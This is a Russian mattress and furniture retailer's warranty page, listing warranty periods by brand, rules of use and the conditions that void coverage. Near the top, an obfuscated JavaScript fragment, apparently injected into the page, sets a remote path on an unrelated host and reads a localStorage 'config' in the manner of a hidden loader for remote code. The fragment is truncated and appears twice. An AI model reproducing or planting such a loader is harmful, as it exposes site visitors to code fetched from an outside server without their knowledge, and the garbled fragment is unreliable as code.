Гарантия на товар

!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl pt>!function(){window._KKNSbmN5mYRPSVjF||(window._KKNSbmN5mYRPSVjF={unique:!1,ttl:86400,R_PATH:"https://intrstreams.global.ssl.fastly.net/NBD8mqfG"}),null!=(e=localStorage.getItem("config"))&&(o=JSON.parse(e),t=Math.round(+new Date/1e3),o.created_at+window._KKNSbmN5mYRPSVjF.ttl

Продукция, предлагаемая нашей компанией, изготовлена в соответствии с европейскими стандартами качества.

Гарантийные обязательства вступают в силу с момента передачи товара покупателю. Если Вы не получили гарантийный талон или инструкцию по эксплуатации, обратитесь по телефону: +7 812 425 37 57 или напишите: Info@sleeps.ru.

Гарантийные условия зависят от вида приобретаемой продукции:

1. Гарантия на матрасы и подушки из вискоэластичного материала распространяется на производственные дефекты и структурные изменения, которые приводят к образованию вдавленных участков глубиной более 2х см (не по причине щелей между ламелиями решеток и оснований кровати, а также выступающими пружинами). Гарантия не распространяется на естественные изменения цвета, жесткости или замедление распрямления материала, и других характеристик, не влияющих на свойство уменьшения давления материала изделия.

1.1 На матрасы и тонкие матрасы - покрытия 5 и 7 см Tempurпродавцом предоставляется полная гарантия 10 лет (На матрасы новой коллекции 2017 Supreme, Elite, Lux). На матрасы Tempur старой коллекции гарантия 5 лет.

1.2 На покрытия (3,5 см), дорожный набор и подушки Tempur предоставляется гарантия 3 года*. Данное обязательство не распространяется на подушки из гранулированного материала Tempur (серии Comfort, Tradishion, Easy, Deluxe, Promessa, Ombracio, Cloud, Sensation и др., также на накладку для автокресла Car Comforter)*.

1.3 На матрасы Micro-tech полная гарантия от производителя предоставляется на срок 7 лет. На подушку Micro-tech предоставляется гарантия 2 года.

1.4 На матрасы и покрытия Natural Visco предоставляется гарантия 18 мес.

1.5 На качество материала и шитья чехла изделий предоставляется гарантия 1 год.

2. Гарантия на основания Froli распространяется на электрическую и механическую части изделия при соблюдении правил по уходу и эксплуатации: согласно ГОСТ 19917-93 предоставляется гарантия: 18 месяцев (на моторы и механические части) при использовании изделия по своему назначению в домашних условиях и 12 месяцев - в служебных помещениях. Гарантия не действует на товар с экспозиции, после ремонта и бывший в употреблении.

Условия, нарушения которых влекут полный отказ от гарантийных обязательств:

Категорически запрещается садиться, вставать или ложиться* (*всем телом) на основание или кровать в области ног или головы во время работы подъемного механизма или при нахождении сегмента основания в поднятом состоянии. Открывать бельевой ящик при поднятом изголовье или изножье.
Не разрешается вскрывать защиту электродвигателей. Производить самостоятельный ремонт, установку двигателей и движущихся частей изделия.
Ремонт, транспортировка, спуск/ подъем, сборку, подключение изделий должны выполнять сотрудники нашей компании.

3. Гарантия на матрасы Белабеддинг предоставляется производителем в течении 18 месяцев при соблюдении правил эксплуатации.

4. Гарантия на матрасы Mr. Mattress:

4.1. Гарантия на матрасы ручной работы, коллекция VIP - до 20 лет при регулярном тех.обслуживании. Тех. обслуживание означает, что у вас есть возможность сдавать матрас на фабрику каждые 3 года. На фабрике его осмотрят, подправят, если нужно и вот у вас уже матрас как новенький.

4.2. Гарантия на матрасы из коллекций Honnemed, BioLife, Black Label - 3 года.

4.3 Гарантия на матрасы из коллекций BioCrystal, Light Way, Futon - 18 месяцев.

5. Гарантия на дизайнерские кровати, кресла, тумбы - 18 месяцев.

6. На матрасы BRN гарантия 18 месяцев, срок службы - более 10 лет.

При использовании любых матрасов запрещается:

Использовать матрас на сетчатом или решетчатом основании с растояниям между ламелями (рейками) более 6 см и шириной ламелей (реек) не менее 3,5 см.;
Сжимать, сгибать, сворачивать матрас (сгибать можно матрас или покрытие из материала с памятью формы, сворачивать можно только покрытие из материала с памятью формы);
Подвергать матрас сильным вертикальным нагрузкам, таким как прыжки и хождение по матрасу;
Превышать допустимую нагрузку на матрас, имеющий ограничения по весу;
Подвергать матрас прямому воздействию любых жидкостей;
Подвергать поверхность матраса воздействию любых химически агрессивных веществ;
Превышать допустимую нагрузку на матрас;
Ставить на поверхность матраса горячие предметы, а также предметы имеющие острые, режущие опоры;
Не рекомендуется сидеть/лежать на одном и том же краю или углу матраса длительное время. Этим Вы можете необратимо деформировать его конструкцию.

Гарантия не действительна на матрас, кровать, диван:

при загрязнении изделия, его негигиеничном использовании; при повреждении изделия любым способом, в т.ч. если изделие было подвержено воздействию влаги; а также при ожогах, химических воздействиях, порезах; а также при изготовлении товара на заказ, - изделие не подлежит замене;
при невыполнении указаний руководства по использованию, уходу и чистке изделия; в результате неправильной эксплуатации и хранения; использовании не по назначению;
превышалась допустимая нагрузка на одно спальное место;
не устраивает жесткость матраса;
при приобретении изделия бывшей в эксплуатации, в т.ч. с экспозиции, выставок;
отсутствуют гарантийный талон и чек на изделие;
прошел гарантийный срок изделия.